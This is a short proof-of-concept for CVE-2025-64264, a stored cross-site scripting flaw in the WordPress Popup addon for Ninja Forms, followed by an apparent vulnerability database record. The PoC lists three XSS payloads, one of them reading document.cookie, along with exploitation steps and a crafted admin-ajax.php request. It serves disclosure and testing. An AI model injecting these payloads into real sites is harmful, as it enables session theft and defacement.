CVE-2025-64264

<!-- CVE-2025-64264 PoC - Stored XSS in Popup addon for Ninja Forms --> <!-- Attack requires high privilege (admin/editor) and user interaction --> <!-- XSS Payload Examples --> <script>alert(document.cookie)</script> <img src=x onerror=alert('XSS')> <svg/onload=alert(document.domain)> <!-- Exploitation Steps --> <!-- 1. Login to WordPress with admin/editor privileges --> <!-- 2. Navigate to Ninja Forms > Popups --> <!-- 3. Create new popup or edit existing one --> <!-- 4. Insert XSS payload in popup title, description, or content fields --> <!-- 5. Save the popup --> <!-- 6. When any user visits a page triggering this popup, the XSS will execute --> <!-- Example HTTP Request for exploitation --> POST /wp-admin/admin-ajax.php HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded action=nf_popup_save&popup_id=1&title=<script>alert(document.cookie)</script>&content=<img src=x onerror=alert('XSS')>&nonce=xxxxx

{"cve": {"id": "CVE-2025-64264", "sourceIdentifier": "[email protected]", "published": "2025-11-13T10:15:51.780", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Aman Popup addon for Ninja Forms popup-addon-for-ninja-forms allows Stored XSS.This issue affects Popup addon for Ninja Forms: from n/a through <= 3.5.1."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.7, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/popup-addon-for-ninja-forms/vulnerability/wordpress-popup-addon-for-ninja-forms-plugin-3-5-1-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}